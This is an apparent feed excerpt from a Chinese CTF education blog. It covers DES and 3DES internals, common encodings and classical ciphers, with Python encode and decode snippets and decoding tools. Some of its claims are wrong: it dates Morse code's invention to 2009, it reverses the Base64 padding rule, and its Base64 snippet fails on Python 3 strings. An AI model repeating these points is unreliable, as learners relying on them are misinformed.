flat"><p>其中數位的明文重複出現，使輸出包括8個6bit的塊，每塊包含兩個上一列中曾經出現的最後兩位作為開頭，加上4bit對應的輸入位。</p></div><p>明文置換完成後，會與$K_0$進行XOR後形成中介密文，接著依照位數分別進入8個sbox(置換盒)$S_1$～$S_8$中進行處理(查表)，每個sbox處理6位，處理後輸出4位。sbox被認定提供了DES的核心安全性，若沒有sbox，密碼會是線性的，很容易被破解。$S_1$～$S_8$的置換表如下：</p><p><img src="https://i.imgur.com/okH2uix.png"><br><img src="https://i.imgur.com/h9n06K7.png"></p><p>以<code>110101</code>作為$S_1$範例輸入，其符合<code>1XXXX1</code>與<code>X1010X</code>的對應，對應出的數字為<code>3</code>，即4bit的二進位數值<code>0011</code>，傳出<code>0011</code>作為輸出，以此類推，將$S_1$～$S_8$都以此方式產生輸出，拼湊產生共32bit的中介密文。</p><p>最後將這32bit的中介密文送進一個稱為<strong>P</strong>的置換表再次置換後完成$F$函數的作用。<strong>P</strong>置換表如下：</p><p><img src="https://i.imgur.com/CXhFpPb.png"></p><p>完成$F$函數作用，接著重複16次費斯妥密碼程序後完成加密處理步驟，獲得64位元的密文。其中這三個子步驟皆符合實用密碼所需的必要條件-<strong>混淆與擴散(confusion and diffusion)</strong></p><h2 id="Final-Permutation-FP"><a href="#Final-Permutation-FP" class="headerlink" title="Final Permutation (FP)"></a>Final Permutation (FP)</h2><p>最後一個步驟事實上是第一步IP的逆處理，因此FP也被稱為<code>inverse(IP)</code>，處理的表格可以IP的表格推出，如下所示：</p><p><img src="https://i.imgur.com/chifYlN.png"></p><p>至此完成整個DES加密，輸出64bit的最終密文，若有下一塊明文則以使用者選擇的Block Cipher模式連結到下一個明文塊進行加密。P.S.這種加密真麻煩XD</p><p>若想完整了解Python的實作方式可參考<a href="https://github.com/dkushagra/DES-Python/blob/master/DES.py">此網站</a></p><h2 id="Security"><a href="#Security" class="headerlink" title="Security"></a>Security</h2><p>雖然DES最早被發現，研究它的論文也不在少數，但截至目前為止，暴力破解仍是解開DES最有效的方法(btw量子電腦的出現可能會改變這個事實)，曾經有三種發表的攻擊方法其時間複雜度$O$小於暴力破解，但因為需要大量的額外資訊($2^{43}$個以上的明文數量)，因此實用價值不高。</p><h2 id="Triple-DES"><a href="#Triple-DES" class="headerlink" title="Triple DES"></a>Triple DES</h2><p>3DES，又稱TDEA(Triple Data Encryption Algorithm)，是DES在被發現不安全後產生的加強版，基本上就是重複利用DES演算法的一種模式，由於電腦運算能力的增強，原版DES由於金鑰長度過低容易被暴力破解，因此3DES利用三個不同的密鑰來對明文加密。詳細演算法如下，$K_1$～$K_3$為三把不同的金鑰：</p><p>$C=E_{K_1}(D_{K_2}(E_{K_3}(P)))$<br>$P=D_{K_3}(E_{K_2}(D_{K_1}(C)))$</p><p>是的你沒看錯，3DES的全加密演算法是使用$K_1$為金鑰進行DES加密，再用$K_2$為金鑰進行DES<strong>解密</strong>，最後以$K_3$進行DES加密。反之，3DES的全解密演算法則是先使用$K_3$為金鑰進行DES解密，再用$K_2$為金鑰進行DES<strong>加密</strong>，最後以$K_1$進行DES解密得到明文。</p><h3 id="Keying-Options"><a href="#Keying-Options" class="headerlink" title="Keying Options"></a>Keying Options</h3><p>3DES的標準定義規範了三種金鑰選項，其中第二種及第三種已經因安全性的問題遭棄用(但可能出現在CTF競賽中)，如下所示。</p><h4 id="Keying-Option-I"><a href="#Keying-Option-I" class="headerlink" title="Keying Option I"></a>Keying Option I</h4><ul><li>別名：3TDEA、三倍長度金鑰(triple-length keys)</li><li>簡而言之，三把金鑰$K_1$、$K_2$、$K_3$兩兩獨立，互不影響。</li><li>有$56\times 3=168$個獨立金鑰位，安全性最高。</li><li>可能被<a href="https://en.wikipedia.org/wiki/Man-in-the-middle_attack">中間人攻擊(MITM)</a>，故有效安全金鑰位僅有$56\times 2=112$位。</li></ul><h4 id="Keying-Option-II"><a href="#Keying-Option-II" class="headerlink" title="Keying Option II"></a>Keying Option II</h4><ul><li>別名：2TDEA、雙倍長度金鑰(double-length keys)</li><li>$K_1$與$K_2$相互獨立，且$K_1=K_3$。</li><li>有$56\times 2=112$個獨立金鑰位，雖然安全強度大於單獨使用兩次DES(double DES)(2TDEA可抵禦中間人攻擊(MITM))，但仍因金鑰長度不足而被棄用。</li></ul><h4 id="Keying-Option-III"><a href="#Keying-Option-III" class="headerlink" title="Keying Option III"></a>Keying Option III</h4><ul><li>$K_1=K_2=K_3$</li><li>此選項等同single DES，僅有$56\times 1=56$個獨立金鑰位，前兩步等同無效，安全性最低，因金鑰長度不足而被棄用。</li></ul><h3 id="Security-1"><a href="#Security-1" class="headerlink" title="Security"></a>Security</h3><p>3TDEA提供了112位的有效金鑰位，據<a href="https://zh.wikipedia.org/zh-tw/3DES">資料</a>顯示其最佳化的攻擊仍需要$2^{32}$組額外明文、$2^{113}$步、$2^{90}$次DES加密與$2^{88}bit$的記憶體，這在目前的現實電腦仍是無稽之談，因此安全性仍舊存在，目前正在觀察量子電腦的進展，未來有機會攻破這個限制。而2TDEA雖然表面上也有112位的有效金鑰位，但其對於特定的明文攻擊強度較弱，因此被認定僅有約80位的有效金鑰位安全性。</p><h2 id="統整"><a href="#統整" class="headerlink" title="統整"></a>統整</h2><p>DES目前在特定條件下仍舊存在一定的安全性，但受到電腦效能的持續突破，防範暴力攻擊的能力已經不如以往，因此在其之後發展出了AES來替代它，但AES在密鑰不安全下所存在的漏洞並不亞於DES，下一篇將介紹AES與講解其之常見攻擊模式，敬請期待～</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;上一篇Crypto介紹了編碼與古典密碼學的部分，接下來要進入相對複雜不少的現代密碼學囉!現代密碼學的種類繁多，如DES、AES、RSA等都被歸類於現代密碼，非對稱式的加密模式也使攻擊者解密的難度大大增加，究竟現在發展出了哪些攻擊方法來攻擊這些看起來堅不可摧的加密法呢？一起來</summary>
      
    
    
    
    <category term="CTF" scheme="http://blog.albert-web.tw/categories/CTF/"/>
    
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
    <category term="Education" scheme="http://blog.albert-web.tw/tags/Education/"/>
    
    <category term="Cryptography" scheme="http://blog.albert-web.tw/tags/Cryptography/"/>
    
  </entry>
  
  <entry>
    <title>CTF系列-Cryptography密碼學基礎</title>
    <link href="http://blog.albert-web.tw/2023/01/26/ctf-crypto-1/"/>
    <id>http://blog.albert-web.tw/2023/01/26/ctf-crypto-1/</id>
    <published>2023-01-26T22:58:44.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
    <content type="html"><![CDATA[<p>密碼學是CTF中經常出現的題型，除了經典的各種加密之外，還時常會出現出題者自定義的加密法，要求攻擊者以各種方式來進行解密，因此通常在密碼學中，數學推導與邏輯是非常被強調的一個部分，此外，如何利用程式語言寫出合適且效率好的解密方法也是不可或缺，以下我們就來介紹密碼學的各種類型與解法吧!歡迎各位來訊說明或補充筆者不足的部分喔!😄</p><h1 id="Encode-or-Encrypt"><a href="#Encode-or-Encrypt" class="headerlink" title="Encode or Encrypt?"></a>Encode or Encrypt?</h1><p>一開始先來討論時常被一般大眾搞混的兩個詞彙，Encode(編碼)與Encrypt(加密)。Encode的內容單純，甚至一般被認為無安全性，主要是以各種定義的函數來對資料進行處理，諸如Ascii、Base64、Base58、UTF-8、Big5等，以數學上的定義來說，假設$f(x)$為編碼函數，那麼利用其之反函數$f^{-1}(x)$對已編碼資料進行處理，便能回到原先的資料型態，無須多餘處理。</p><p>而Encrypt的內容相對複雜一些，單純使用反函數的概念是無法將加密資料返回原先狀態的，需要經過一些額外的處理與變換，有時利用正面的方法是無法解決的，需要旁敲側擊，其中又分為古典密碼(Classical Cipher)與現代密碼(Modern Cipher)，根據不同的演算法又存在不同的處理方式，以下將逐一介紹。</p><h1 id="Encode"><a href="#Encode" class="headerlink" title="Encode"></a>Encode</h1><p>Encode的方式千奇百怪，尤其是因為只要符合反函數定義者都能被廣義的稱為編碼，因此自定義的編碼也不在少數。以下會介紹幾個最為常見的編碼模式。</p><h2 id="Morse-Code"><a href="#Morse-Code" class="headerlink" title="Morse Code"></a>Morse Code</h2><p>摩斯密碼，是一種時通時斷的訊號代碼，通過不同的排列順序來表達不同的英文字母、數字和標點符號。由美國發明家薩繆爾·摩斯及其助手艾爾菲德·維爾在2009年發明，也是經常在談論密碼學時提及的古典密碼經典。詳情可參見<a href="https://en.wikipedia.org/wiki/Morse_code">此頁面</a></p><p><img src="https://i.imgur.com/gKzAwVe.png"></p><p>透過以上這張對應表，能夠從文檔或音檔中獲取到對方所欲傳達的訊息。當然，現今也有發展出對應的工具來處理這方面的解碼(Decode)。</p><h3 id="Decode-Tools"><a href="#Decode-Tools" class="headerlink" title="Decode Tools"></a>Decode Tools</h3><ul><li><a href="https://gchq.github.io/CyberChef/">CyberChef</a>：幾乎可以解出所有密碼(前提為條件足夠)</li><li><a href="https://databorder.com/transfer/morse-sound-receiver/">morse-sound-receiver</a>：可處理音檔摩斯密碼</li></ul><h2 id="Base-X"><a href="#Base-X" class="headerlink" title="Base-X"></a>Base-X</h2><p>Base編碼基於各種不同的編碼字元數與字元，能夠產生出各種不同的加密形式。最常見的型態為Base64，它基於64個可列印字元來表示二進位資料($2^6=64$，$6$ $bit$)，一個ASCII字元為8bit，由最小公倍數得，3個文字能夠被Base64轉換成4個字元，範例如下：</p><p><img src="https://i.imgur.com/RA9z1Lk.png"></p><p>Base64在進行轉換時，由上面所述，資料字元數須為三的倍數，不足三位以<code>0x0</code>補足。接著根據二進位值一一取出6bit，並從64個字元中找出其對應字元，直到所有資料轉換完成。若資料位數為$3n+2,n\in N$，會在轉換資料後補上<code>==</code>；若資料位數為$3n+1,n\in N$，則會在轉換資料後補上<code>=</code>。</p><div class="note success flat"><p>輕鬆一下：Base1024會是以🥳等表情符號作為編碼喔!</p></div><h3 id="Decode-Tools-1"><a href="#Decode-Tools-1" class="headerlink" title="Decode Tools"></a>Decode Tools</h3><ul><li><a href="https://gchq.github.io/CyberChef/">CyberChef</a></li><li><a href="https://github.com/cryptocoinjs/base-x">base-x</a>：能夠處理各種base為基底的加解碼(包含自訂字元)</li></ul><p>當然，我們也能夠透過Python來處理這方面的解碼工作，如下所示：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">raw = <span class="string">&quot;M3t30r loves cryptography.&quot;</span></span><br><span class="line">data = base64.b64encode(raw) <span class="comment"># encode</span></span><br><span class="line"><span class="keyword">assert</span> raw == base64.b64decode(data) <span class="comment"># decode</span></span><br><span class="line">chars = <span class="string">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;</span> <span class="comment"># Base64 64bit string</span></span><br></pre></td></tr></table></figure><h2 id="uuencode"><a href="#uuencode" class="headerlink" title="uuencode"></a>uuencode</h2><p>uuencode採用的方法基本上與Base64相同，在分為三位元的資料轉換為6bit一組時，每組的10進位資料會落於0～63之間，此時將所有資料加上32之後，剛好會落在ASCII可列印的字元範圍，以此做為資料輸出。如下例所示：</p><p><img src="https://i.imgur.com/OMnmI8L.png"></p><div class="note warning flat"><p>Tips：uuencode辨識方法為<strong>特殊字元</strong>非常多(因範圍為32至95，多為特殊字元)</p></div><h3 id="Decode-Tools-2"><a href="#Decode-Tools-2" class="headerlink" title="Decode Tools"></a>Decode Tools</h3><ul><li><a href="https://www.dcode.fr/uu-encoding">dcode.fr</a></li><li><a href="https://docs.python.org/3/library/uu.html">uu (pip tool)</a></li></ul><h2 id="xxencode"><a href="#xxencode" class="headerlink" title="xxencode"></a>xxencode</h2><p>基本上與Base64相同，但使用的轉換字元串不同，它使用的是<code>+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz</code>，且資料位數不足時補的是<code>+</code>，其餘皆同。</p><h3 id="Decode-Tools-3"><a href="#Decode-Tools-3" class="headerlink" title="Decode Tools"></a>Decode Tools</h3><ul><li><a href="https://github.com/cryptocoinjs/base-x">base-x</a></li></ul><h2 id="URL-Encode"><a href="#URL-Encode" class="headerlink" title="URL Encode"></a>URL Encode</h2><p>通常會在瀏覽器中使用，基於一些保留字元會有相異的解讀，會先將每個字元轉換為2位16進位表示值後(以UTF-8標準)，再在前方加入<code>%</code>符號作為URL統一標準，稱為URL encode。</p><h3 id="Decode-Tools-4"><a href="#Decode-Tools-4" class="headerlink" title="Decode Tools"></a>Decode Tools</h3><ul><li><a href="https://www.urlencoder.org/">URL Encoder/Decoder</a></li></ul><h2 id="BrainFuck"><a href="#BrainFuck" class="headerlink" title="BrainFuck"></a>BrainFuck</h2><p>Brainfuck是一種極小化的程式語言，由Urban Müller在1993年創造。其目標是建立一種簡單的、可以用最小的編譯器來實現的、符合圖靈完全思想的程式語言。這個語言由八種運算子構成，它的名字也意味著想要直接讀懂它是極度困難的，即使它是一個圖靈完備的語言。八種運算子意義如下所示：</p><p><img src="https://i.imgur.com/dJl7kEu.png"></p><p>但在同時也有些題目會將其他語言的程式包裝成BrainFuck來讓解題者解，因此將它歸類在此處，通常只要編譯它產生輸出即可。</p><h3 id="Compile-Tools"><a href="#Compile-Tools" class="headerlink" title="Compile Tools"></a>Compile Tools</h3><ul><li><a href="https://www.tutorialspoint.com/execute_brainfk_online.php">Brainfuck Compiler</a></li></ul><h2 id="JSFuck"><a href="#JSFuck" class="headerlink" title="JSFuck"></a>JSFuck</h2><p>JSFuck是一種深奧的JavaScript程式設計風格，靈感來自於BrainFuck，使用六種字元完成程式。基本上不需要另外的編譯器或直譯器來執行，無論瀏覽器或JavaScript引擎中的原生JavaScript直譯器皆可直接執行。鑑於JavaScript是弱型別語言，編寫者可以用數量有限的字元重寫JavaScript中的所有功能，且可以用這種方式執行任何類型的表達式。詳見<a href="https://en.wikipedia.org/wiki/JSFuck">此頁面</a></p><h3 id="Compile-Tools-1"><a href="#Compile-Tools-1" class="headerlink" title="Compile Tools"></a>Compile Tools</h3><p>基本上不需要，瀏覽器的Console即可執行。</p><h2 id="aaencode-jjencode"><a href="#aaencode-jjencode" class="headerlink" title="aaencode/jjencode"></a>aaencode/jjencode</h2><p>這兩種encode都是針對JavaScript的轉換方式，與JSFuck相近。aaencode會將JavaScript轉換為表情符號，而jjencode會將它轉換成類似<code>$_$</code>等風格的字串。兩者皆可轉為JavaScript，但JavaScript無法轉回。</p><h3 id="Compile-Tools-2"><a href="#Compile-Tools-2" class="headerlink" title="Compile Tools"></a>Compile Tools</h3><ul><li><a href="https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html">aaencode compiler</a></li><li><a href="https://utf-8.jp/public/jjencode.html">jjencode compiler</a></li></ul><h2 id="統整"><a href="#統整" class="headerlink" title="統整"></a>統整</h2><p>編碼的內容其實五花八門，要完全認識世界上每一種編碼幾乎是不可能的，但比賽時只要能夠有通靈+查詢能力就不太需要擔心解不出來囉～</p><h1 id="Classical-Cipher"><a href="#Classical-Cipher" class="headerlink" title="Classical Cipher"></a>Classical Cipher</h1><p>進入了古典密碼學的部分，就必須談到密碼學的兩大分類：<strong>對稱式加密</strong>(<strong>Symmetric Encryption</strong>)與<strong>非對稱式加密</strong>(<strong>Asymmetric Encryption</strong>)。對稱式加密意味著在加密與解密時所使用的密鑰(key)完全相同，無須經過任何轉換即可用以解密。</p><p>而非對稱式加密則是分為公鑰(public key)與私鑰(private key)，加密者使用公鑰加密後，傳遞到另一方必須以私鑰才能解密，且有一個重要前提：<strong>私鑰可以推導出公鑰，但公鑰推導出私鑰極度困難</strong>。古典密碼的部分大多為對稱式加密，以下舉出常見的幾個密碼。</p><h2 id="Caesar-Cipher"><a href="#Caesar-Cipher" class="headerlink" title="Caesar Cipher"></a>Caesar Cipher</h2><p>凱撒密碼利用了線性映射(linear transformation)的原理，是一種替換加密技術，明文中的所有字母都在字母表上向後或向前，依照一個固定數目(offset)進行偏移後被替換成密文。這個加密方法是以羅馬共和時期凱撒大帝的名字命名的，據稱當年凱撒曾用此方法與其將軍們進行聯繫。現代的ROT13也以凱撒密碼作為實作基礎。</p><p>以下為凱撒密碼以數學式表示的加解密方法，$x$為資料內容，$n$為偏移量(offset)：</p><p>$E_n(x)=(x+n)$ $mod$ $26$<br>$D_n(x)=(x-n)$ $mod$ $26$</p><h3 id="攻擊手法"><a href="#攻擊手法" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><h4 id="暴力窮舉-brute-force"><a href="#暴力窮舉-brute-force" class="headerlink" title="暴力窮舉(brute force)"></a>暴力窮舉(brute force)</h4><p>基於英文子母僅有26個字元，利用0~25間的offset必定存在正確解密結果。</p><h4 id="詞頻分析-word-frequency-analysis"><a href="#詞頻分析-word-frequency-analysis" class="headerlink" title="詞頻分析(word frequency analysis)"></a>詞頻分析(word frequency analysis)</h4><p>利用對字元出現頻率的分析，找出解密最符合正常語言的文本。</p><h3 id="攻擊工具"><a href="#攻擊工具" class="headerlink" title="攻擊工具"></a>攻擊工具</h3><ul><li><a href="https://www.dcode.fr/caesar-cipher">dcode.fr</a>：可爆搜所有可能offset</li><li><a href="https://gchq.github.io/CyberChef/">CyberChef</a>：ROT13可作為Caesar Cipher解密工具</li><li><a href="https://quipqiup.com/">quipqiup</a>：強力詞頻分析工具</li></ul><p><strong>Python實作</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">enc</span>(<span class="params">raw, offset</span>): <span class="comment"># encode</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span>.join([<span class="built_in">chr</span>((<span class="built_in">ord</span>(i)-<span class="number">65</span>+offset)%<span class="number">26</span>+<span class="number">65</span>) <span class="keyword">for</span> i <span class="keyword">in</span> raw])</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dec</span>(<span class="params">raw, offset</span>): <span class="comment"># decode</span></span><br><span class="line">    data = <span class="string">&quot;&quot;</span>.join([<span class="built_in">chr</span>((<span class="built_in">ord</span>(i)-<span class="number">65</span>-offset)%<span class="number">26</span>+<span class="number">65</span>) <span class="keyword">for</span> i <span class="keyword">in</span> raw])</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line">raw = <span class="built_in">input</span>().upper() <span class="comment"># raw</span></span><br><span class="line">offset = <span class="built_in">int</span>(<span class="built_in">input</span>()) <span class="comment"># offset</span></span><br><span class="line"><span class="built_in">print</span>(enc(raw, offset))</span><br><span class="line"><span class="built_in">print</span>(dec(raw, offset))</span><br></pre></td></tr></table></figure><h2 id="Vigenere-Cipher"><a href="#Vigenere-Cipher" class="headerlink" title="Vigenère Cipher"></a>Vigenère Cipher</h2><p>維吉尼亞密碼基本上可以視為凱撒密碼的加強版，凱撒密碼使用單獨offset對明文進行加密，而維吉尼亞用來加密的key則是一個字串，利用加上每個字的offset來對字進行加密，若是key的長度小於明文則重複使用直到加密完成，稱為金鑰流。本質上也能被視為是一種替換式密碼(Substitution Cipher)，如下表所示。</p><p><img src="https://i.imgur.com/wNFQNEW.png"></p><h3 id="攻擊手法-1"><a href="#攻擊手法-1" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><h4 id="卡西斯基試驗-Kasiski-examination"><a href="#卡西斯基試驗-Kasiski-examination" class="headerlink" title="卡西斯基試驗(Kasiski examination)"></a>卡西斯基試驗(Kasiski examination)</h4><p>這是第一個被提出破解維吉尼亞的方法，早期的解決方案都是透過對於明文的認識、或者使用可識別的詞語作為密鑰，但卡西斯基試驗不需要任何限制。基本的概念如下：</p><p>卡西斯基試驗是基於常用單詞，如the、some等，有可能被同樣的密鑰字母進行加密，而在密文中重複出現相同子字串。此時便能以重複出現長度之因數推測出密鑰可能的長度，而若有多個此類子字串，則能夠以最小公因數獲得密鑰的長度。通常文本越長的資料越容易被卡西斯基試驗攻破(越容易重複使用密鑰加密相同字串)。</p><p><img src="https://i.imgur.com/Art65Ah.png"></p><h4 id="弗里德曼試驗-Friedman-examination"><a href="#弗里德曼試驗-Friedman-examination" class="headerlink" title="弗里德曼試驗(Friedman examination)"></a>弗里德曼試驗(Friedman examination)</h4><p>弗里德曼試驗於1920年代發明，這項試驗使用了重合指數(index of coincidence)來描述密文字母頻率的不勻性，從而破譯密碼。</p><p>$\kappa_p$指目標語言中兩個任意字母相同的概率(英文為$0.067$)，$\kappa_r$指字母表中這種情況出現的概率(英文中為$\frac{1}{26}=0.0385$)，根據弗里德曼試驗推導出的結果，密鑰長度可以被認定為$\frac{\kappa_p-\kappa_r}{\kappa_0-\kappa_r}$，$\kappa_0=\frac{\sum\limits_{i=1}^c{n_i(n_i-1)}}{N(N-1)}$，$c$是指字母表的長度(英文為$26$)，$N$指文本的長度，$n_1$到$n_c$是指密文的字母頻率，為整數。而這樣的試驗會隨著文本長度的增加而更為精確。</p><h4 id="頻率分析"><a href="#頻率分析" class="headerlink" title="頻率分析"></a>頻率分析</h4><p>一旦能夠確定密鑰的長度，密文就能重新寫成多列，列數與密鑰長度對應。這樣每一列其實就是一個凱撒密碼，而此密碼的密鑰(偏移量)則對應於維吉尼亞密碼密鑰的相應字母。與破譯凱撒密碼類似的方法，就能將密文破譯。</p><p>維吉尼亞密碼事實上還有許多種變體，但也隨著時間漸漸被破譯了，這裡就不再贅述。</p><h3 id="攻擊工具-1"><a href="#攻擊工具-1" class="headerlink" title="攻擊工具"></a>攻擊工具</h3><ul><li><a href="https://gchq.github.io/CyberChef/">CyberChef</a></li><li><a href="https://cryptii.com/pipes/vigenere-cipher">cryptii</a>：正規維吉尼亞密碼處理器</li><li><a href="https://www.guballa.de/vigenere-solver">vigenere-solver</a>：個人認為頗為強力的維吉尼亞密碼破譯工具</li></ul><p><strong>Python實作</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">def</span> <span class="title function_">enc</span>(<span class="params">raw, key</span>):</span><br><span class="line">    key_length = <span class="built_in">len</span>(key)</span><br><span class="line">    key_as_int = [<span class="built_in">ord</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> key]</span><br><span class="line">    raw_int = [<span class="built_in">ord</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> raw]</span><br><span class="line">    data = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(raw_int)):</span><br><span class="line">        value = (raw_int[i] + key_as_int[i % key_length]) % <span class="number">26</span></span><br><span class="line">        data += <span class="built_in">chr</span>(value + <span class="number">65</span>)</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">dec</span>(<span class="params">raw, key</span>):</span><br><span class="line">    key_length = <span class="built_in">len</span>(key)</span><br><span class="line">    key_as_int = [<span class="built_in">ord</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> key]</span><br><span class="line">    raw_int = [<span class="built_in">ord</span>(i) <span class="keyword">for</span> i <span class="keyword">in</span> raw]</span><br><span class="line">    data = <span class="string">&#x27;&#x27;</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(raw)):</span><br><span class="line">        value = (raw_int[i] - key_as_int[i % key_length]) % <span class="number">26</span></span><br><span class="line">        data += <span class="built_in">chr</span>(value + <span class="number">65</span>)</span><br><span class="line">    <span class="keyword">return</span> data</span><br><span class="line"></span><br><span class="line">raw = <span class="built_in">input</span>().upper() <span class="comment"># raw</span></span><br><span class="line">key = <span class="built_in">input</span>().upper() <span class="comment"># key</span></span><br><span class="line"><span class="built_in">print</span>(enc(raw, key))</span><br><span class="line"><span class="built_in">print</span>(dec(raw, key))</span><br></pre></td></tr></table></figure><h2 id="Rail-Fence-Cipher"><a href="#Rail-Fence-Cipher" class="headerlink" title="Rail Fence Cipher"></a>Rail Fence Cipher</h2><p>鐵路柵欄密碼是一種經典的換位密碼。它的名字來自其加密的執行方式，類似於用水平欄杆建造的柵欄。如下所示：</p><p><code>plaintext = &quot;M3t30r loves cryptography&quot; (空白忽略)</code><br><code>Rails = 4</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Rail 1： M.....l.....r.....r....</span><br><span class="line">Rail 2： .3...r.o...c.y...g.a...</span><br><span class="line">Rail 3： ..t.0...v.s...p.o...p.y</span><br><span class="line">Rail 4： ...3.....e.....t.....h.</span><br></pre></td></tr></table></figure><p><code>ciphertext = &quot;Mlrr 3rocyga t0vspopy 3eth&quot;</code></p><h3 id="攻擊手法-2"><a href="#攻擊手法-2" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><p>只要知道柵欄的數目便能輕鬆解密原先內容(僅為換位)</p><h3 id="攻擊工具-2"><a href="#攻擊工具-2" class="headerlink" title="攻擊工具"></a>攻擊工具</h3><ul><li><a href="https://www.dcode.fr/rail-fence-cipher">dcode.fr</a>：可協助暴力搜尋柵欄數目</li></ul><h2 id="Bacon-Cipher"><a href="#Bacon-Cipher" class="headerlink" title="Bacon Cipher"></a>Bacon Cipher</h2><p>培根密碼是由法蘭西斯·培根發明的一種隱寫術。加密時，明文中的每個字母都會轉換成一組五個英文字母。其轉換依靠下表，本質上是利用<code>A</code>、<code>B</code>取代index二進位中的<code>0</code>、<code>1</code>：</p><p><img src="https://i.imgur.com/dSqQTDj.png"></p><h3 id="攻擊工具-3"><a href="#攻擊工具-3" class="headerlink" title="攻擊工具"></a>攻擊工具</h3><ul><li><a href="https://www.dcode.fr/bacon-cipher">dcode.fr</a></li></ul><h2 id="Pigpen-Cipher"><a href="#Pigpen-Cipher" class="headerlink" title="Pigpen Cipher"></a>Pigpen Cipher</h2><p>豬圈密碼基本上是一種以格子為基礎的簡易替換密碼，對應的圖示如下所示：</p><p><img src="https://i.imgur.com/RS0b7TY.png"></p><h3 id="攻擊手法-3"><a href="#攻擊手法-3" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><p>只要依據圖示逆回明文即可，十分簡單暴力</p><h2 id="Affine-Cipher"><a href="#Affine-Cipher" class="headerlink" title="Affine Cipher"></a>Affine Cipher</h2><p>仿射密碼是將明文中字母對應成數字後，進行運算加密再對應回密文的一種模式，基本上運算式如下：</p><p>$E_n(x)=ax+b$ $mod$ $m$<br>$D_n(x)=a^{-1}(x-b)$ $mod$ $m$，$a^{-1}=invese(a)$(僅在$(a,m)=1$時存在)</p><p>而這種加密的轉換方式同樣被使用於線性同餘方法(LCG)，為偽隨機數生成器中的一種，稍後的文章中會提及它的攻擊手法，這裡就先稍稍帶過。</p><h3 id="攻擊手法-4"><a href="#攻擊手法-4" class="headerlink" title="攻擊手法"></a>攻擊手法</h3><p>若可發現加密文件兩字元之原文，則關鍵值可透過解一方程組得到(二元一次方程組)。由於我們知道$a$及$m$互質，這個事實可被用於快速破解密碼。</p><h2 id="Others"><a href="#Others" class="headerlink" title="Others"></a>Others</h2><p>對稱式加密的種類包羅萬象，未提及的還有包含<strong>Playfair Cipher、Dancing man、Braille</strong>等(詭異)的加密方法，但基本上在CTF競賽中通常都會出現代密碼，畢竟解密的步驟較為複雜，有時甚至需要跳脫性的思考，因此會考的古典密碼幾乎不存在，或是會出成很冷門的通靈題，出現的話通常靠的不會是大量的知識點，而是搜尋與通靈的能力，讀者若有興趣能夠自行再參閱相關的文章喔!</p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;密碼學是CTF中經常出現的題型，除了經典的各種加密之外，還時常會出現出題者自定義的加密法，要求攻擊者以各種方式來進行解密，因此通常在密碼學中，數學推導與邏輯是非常被強調的一個部分，此外，如何利用程式語言寫出合適且效率好的解密方法也是不可或缺，以下我們就來介紹密碼學的各種類型</summary>
      
    
    
    
    <category term="CTF" scheme="http://blog.albert-web.tw/categories/CTF/"/>
    
    
    <category term="Security" scheme="http://blog.albert-web.tw/tags/Security/"/>
    
    <category term="CTF" scheme="http://blog.albert-web.tw/tags/CTF/"/>
    
    <category term="Education" scheme="http://blog.albert-web.tw/tags/Education/"/>
    
    <category term="Cryptography" scheme="http://blog.albert-web.tw/tags/Cryptography/"/>
    
  </entry>
  
  <entry>
    <title>CTF系列-Web網路安全基礎I</title>
    <link href="http://blog.albert-web.tw/2023/01/24/ctf-web-1/"/>
    <id>http://blog.albert-web.tw/2023/01/24/ctf-web-1/</id>
    <published>2023-01-24T13:50:08.000Z</published>
    <updated>2026-04-26T11:19:12.708Z</updated>
    
